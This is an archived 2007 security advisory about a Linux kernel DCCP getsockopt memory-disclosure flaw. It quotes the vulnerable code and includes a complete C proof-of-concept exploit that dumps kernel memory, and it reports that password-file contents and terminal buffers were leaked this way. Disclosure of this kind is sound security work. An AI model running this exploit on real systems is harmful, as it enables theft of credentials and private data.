The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[UNIX] Linux Kernel DCCP Memory Disclosure Vulnerability


<< Previous INDEX Search src / Print Next >>
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 1 Apr 2007 09:59:54 +0200
Subject: [UNIX] Linux Kernel DCCP Memory Disclosure Vulnerability
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20070401073501.9074358E9@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  Linux Kernel DCCP Memory Disclosure Vulnerability
------------------------------------------------------------------------


SUMMARY

"The  <http://www.kernel.org/>; Linux kernel is a Unix-like operating 
system kernel. It is the namesake of the Linux family of operating 
systems. Released under the GNU General Public License (GPL) and developed 
by contributors worldwide, Linux is one of the most prominent examples of 
free/open source software whose developers primarily follow the philosophy 
of the open source movement."

The Linux kernel is susceptible to a locally exploitable flaw which may 
allow local users to steal data from the kernel memory.

DETAILS

Vulnerable Systems:
 * Linux Kernel versions 2.6.2* with DCCP support enabled.
 * (Kernel versions prior to 2.6.20 lack 
DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for getsockopt() 
call with SOL_DCCP level, which are used in the delivered POC code.)

The flaw exists in do_dccp_getsockopt() function in net/dccp/proto.c file:
-----------------------
static int do_dccp_getsockopt(struct sock *sk, int level, int optname,
                    char __user *optval, int __user *optlen)
..
if (get_user(len, optlen))
  return -EFAULT;
if (len < sizeof(int))
   return -EINVAL;
..
-----------------------

The above code doesn't check `len' variable for negative values. Because 
of cast typing (len < sizeof(int)) is always true for 'len' values less 
than 0.

-----------------------
if (put_user(len, optlen) || copy_to_user(optval, &val, len))
    return -EFAULT;
-----------------------

What happens next depends greatly on the cpu architecture in-use each cpu 
architecture has its own copy_to_user() implementation. On the IA-32 the 
code below:
-----------------------
unsigned long
copy_to_user(void __user *to, const void *from, unsigned long n)
{
        BUG_ON((long) n < 0);
-----------------------

.. will prevent explotation, but kernel will oops due to invalid opcode 
in BUG_ON().

On some other architectures (e.g. x86-64) kernel-space data will be copied 
to the user supplied buffer until end-of-kernel space (pagefault in 
kernel-mode occurs) is reached.

Actually, `optlen' is not checked againist upper limit as well, so we can 
simply use any large positive value for getsockopt()'s optlen and we will 
be able  to use it on IA32 cpus as well, without playing with signedness.

Proof of concept:
#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h>

#define BUFSIZE 0x10000000

int main(int argc, char *argv[])
{
     void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
                MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
     if (mem == (void*)-1) {
        printf("Alloc failed\n");
        return -1;
     }
     /* SOCK_DCCP, IPPROTO_DCCP */
     int s = socket(PF_INET, 6, 33);
     if (s == -1) {
        fprintf(stderr, "socket failure!\n");
        return 1;
     }
    /* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
     int len = BUFSIZE;
     int x = getsockopt(s, 269, 11, mem, &len);

     if (x == -1)
        perror("SETSOCKOPT");
     else
        printf("SUCCESS\n");

     write(1, mem, BUFSIZE);

     return 0;
}

Cached disk blocks were found in the dump (e.g. /etc/shadow) and tty 
buffers.

Workaround:
Remove dccp support from the installed linux kernel (remove dccp kernel 
modules etc..) or create a patch for kernel sources.


ADDITIONAL INFORMATION

The information has been provided by  <mailto:jagger@swiecki.net.> Robert  
wi cki.




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src / Print Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру